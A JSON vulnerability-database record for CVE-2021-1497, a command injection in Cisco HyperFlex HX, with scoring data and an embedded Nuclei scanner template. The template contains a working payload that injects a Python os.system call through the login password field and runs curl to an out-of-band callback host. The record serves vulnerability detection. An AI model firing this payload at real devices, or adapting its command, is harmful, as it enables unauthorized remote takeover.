{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2021-1497/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2021-1497/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2021-1497/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2021-1497/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2021-1497/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2021-1497"},"sightings":{"href":"/api/v1/sightings/cve-2021-1497"}},"enrichments":{"cisa-kev":{"kev":true},"epss":{"epss":0.9993,"kev":true,"percentile":0.99969},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2021/CVE-2021-1497.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2021-1497\n\ninfo:\n  name: Cisco HyperFlex HX Data Platform - Remote Command Execution\n  author: gy741\n  severity: critical\n  description: Cisco HyperFlex HX contains multiple vulnerabilities in the web-based management interface that could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.\n  impact: |\n    Attackers can execute arbitrary commands on the device, potentially leading to full system compromise.\n  remediation: |\n    Apply the latest security updates and patches provided by Cisco for HyperFlex HX.\n  reference:\n    - https://swarm.ptsecurity.com/cisco-hyperflex-how-we-got-rce-through-login-form-and-other-findings/\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-1497\n    - https://packetstormsecurity.com/files/162976/Cisco-HyperFlex-HX-Data-Platform-Command-Execution.html\n    - https://twitter.com/Unit42_Intel/status/1402655493735206915\n    - https://twitter.com/ptswarm/status/1390300625129201664\n    - https://www.thezdi.com/blog/2021/6/23/cve-2021-1497-cisco-hyperflex-hx-auth-handling-remote-command-execution\n    - https://github.com/EdgeSecurityTeam/Vulnerability/blob/c0af411de9adb82826303c5b05a0d766fb553f28/Cisco%20HyperFlex%20HX%20%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%EF%BC%88CVE-2021-1497-CVE-2021-1498%EF%BC%89.md\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2021-1497\n    cwe-id: CWE-78\n    epss-score: 0.9993\n    epss-percentile: 0.99969\n    cpe: cpe:2.3:o:cisco:hyperflex_hx_data_platform:4.0\\(2a\\):*:*:*:*:*:*:*\n  metadata:\n    max-request: 2\n    vendor: cisco\n    product: hyperflex_hx_data_platform\n  tags: cve,cve2021,cisco,rce,oast,kev,packetstorm,vkev,vuln\nvariables:\n  cmd: 'curl http://{{interactsh-url}} -H \\\"User-Agent: {{useragent}}\\\"'\n  payload: '123\",\"\"$6$$)); import os;os.system(\"{{cmd}}\");print(crypt.crypt(\"'\n  useragent: '{{rand_base(6)}}'\n\nhttp:\n  - raw:\n      - |\n        POST /auth/change HTTP/1.1\n        Host: {{Hostname}}\n        Accept: */*\n        Content-Type: application/x-www-form-urlencoded\n\n        username=root&password={{url_encode(payload)}}\n      - |\n        POST /auth HTTP/1.1\n        Host: {{Hostname}}\n        Accept: */*\n        Content-Type: application/x-www-form-urlencoded\n\n        username=root&password={{url_encode(payload)}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol # Confirms the HTTP Interaction\n        words:\n          - \"http\"\n\n      - type: word\n        part: interactsh_request\n        words:\n          - \"User-Agent: {{useragent}}\"\n# digest: 490a0046304402207833bd945d71cb109bc20241eac1138068d086e653179cb23541107bbffb2ad702205f0ea35ad037cf2fd782c1642412cb7900a9b38abc6e718402ef0f478db039d3:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2021-1497"}